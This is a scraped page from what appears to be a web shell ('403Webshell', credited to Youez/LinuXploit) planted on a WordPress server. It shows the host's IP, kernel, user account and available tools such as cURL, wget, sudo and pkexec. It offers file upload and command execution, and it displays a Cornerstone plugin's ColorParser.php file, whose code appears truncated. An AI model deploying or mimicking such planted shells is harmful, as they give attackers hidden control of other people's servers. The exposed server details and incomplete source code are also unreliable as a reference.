403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/cornerstone/includes/classes/Parsy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/cornerstone/includes/classes/Parsy/ColorParser.php
<?php

namespace Themeco\Cornerstone\Parsy;

use Themeco\Cornerstone\Parsy\P;

/**
 * The intent of this parser is to help break down colors PHP side so we can modify the alpha value
 * and reconstitute the color.
 *
 * This logic would happen in the GlobalColors service, in the applyColor method.
 * The idea is that global colors could be saved as hex codes or HSLA and still allow the alpha to be changed
 * per instance. With the current regex implementation it only works on rgba colors
 */
class ColorParser {

  public $language;

  public function __construct( $args = [] ) {

    $this->language = P::createLanguage([
      'hexcode' => function ($l) {
        return P::str('#')->then(P::digitsWithHex())->chain(function($result) {
          $digits = str_split($result);
          // var_dump($digits);
          switch (count($digits)) {
            case 3:

            case 4:
            case 6:
            case 8:
            default:
              return P::abort();
          }

        });
      },


    ]);

  }

  public function __get($key) {
    return $this->language->{$key};
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit